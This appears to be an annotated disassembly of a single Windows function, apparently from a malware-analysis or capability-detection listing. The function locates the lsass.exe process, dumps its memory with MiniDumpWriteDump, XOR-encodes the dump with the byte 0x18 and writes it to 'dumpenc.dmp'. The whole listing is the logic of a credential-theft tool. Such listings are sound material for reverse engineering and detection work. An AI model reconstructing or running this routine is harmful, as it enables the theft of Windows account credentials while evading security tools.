Function at 0x140001f00
Capabilities:
Encode data using xor
Enumerate processes
Write file on windows

Disassembly:
sub rsp, 0x2b8
mov rax, qword [0x140255020]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x140001f5b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Unable_to_locate_dbghelp.dll_n
call fcn.1400621a0
mov eax, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140062b50
add rsp, 0x2b8
ret
mov qword [rsp + 0x2c0], rbx
lea rdx, str.MiniDumpWriteDump
mov qword [rsp + 0x2d0], rsi
mov rcx, rax
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2a8], r14
mov qword [rsp + 0x2a0], r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov dword [rsp + 0x50], 0x238
mov r14, rax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400021de
xor r15d, r15d
lea rdx, [rsp + 0x50]
mov rcx, rax
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000202e
lea rdi, str.lsass.exe
nop word [rax + rax]
lea rdx, [rsp + 0x7c]
mov rax, r15
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x14000218e
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x14000218e
add rax, 2
cmp rax, 0xa
jne 0x140001ff0
mov r8d, dword [rsp + 0x58]
lea edx, [rax - 9]
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400021de
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str.dumpenc.dmp
mov edx, 0x10000000
mov qword [rsp + 0x2c8], rbp
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, 0x6400000
mov rbp, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, 0x10
mov rbx, rax
call fcn.140062b78
mov rdi, rax
mov rdx, rbx
mov dword [rax + 8], r15d
mov qword [rax], rbx
lea rax, [0x140001e90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140064468]
call fcn.1400621a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r9d, 2
xor r8d, r8d
mov edx, eax
mov rcx, rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call r14
mov ecx, dword [rdi + 8]
mov r14d, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rdi + 8]
test r8d, r8d
je 0x140002145
mov r10, rbx
mov rdx, rax
sub r10, rax
mov r9d, r8d
nop word [rax + rax]
movzx ecx, byte [r10 + rdx]
lea rdx, [rdx + 1]
xor cl, 0x18
mov byte [rdx - 1], cl
sub r9, 1
jne 0x140002130
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edx, 0x10
mov rcx, rdi
call fcn.140062b70
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x2c8]
test r14d, r14d
jne 0x1400021a9
lea rdx, str.Unable_To_creat_dump_____n
jmp 0x1400021e5
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001fe0
jmp 0x14000202e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Created_Dump_file
call fcn.1400621a0
mov rcx, rax
lea rdx, str.dumpenc.dmp
call fcn.1400621a0
mov rcx, rax
lea rdx, [0x140064468]
call fcn.1400621a0
xor eax, eax
jmp 0x1400021f6
lea rdx, str.Unable_to_open_LSASS_Handle__Make_sure_to_run_this_program_with_elevated_privileges.__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400621a0
mov eax, 1
mov r14, qword [rsp + 0x2a8]
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2d0]
mov rbx, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140062b50
add rsp, 0x2b8
ret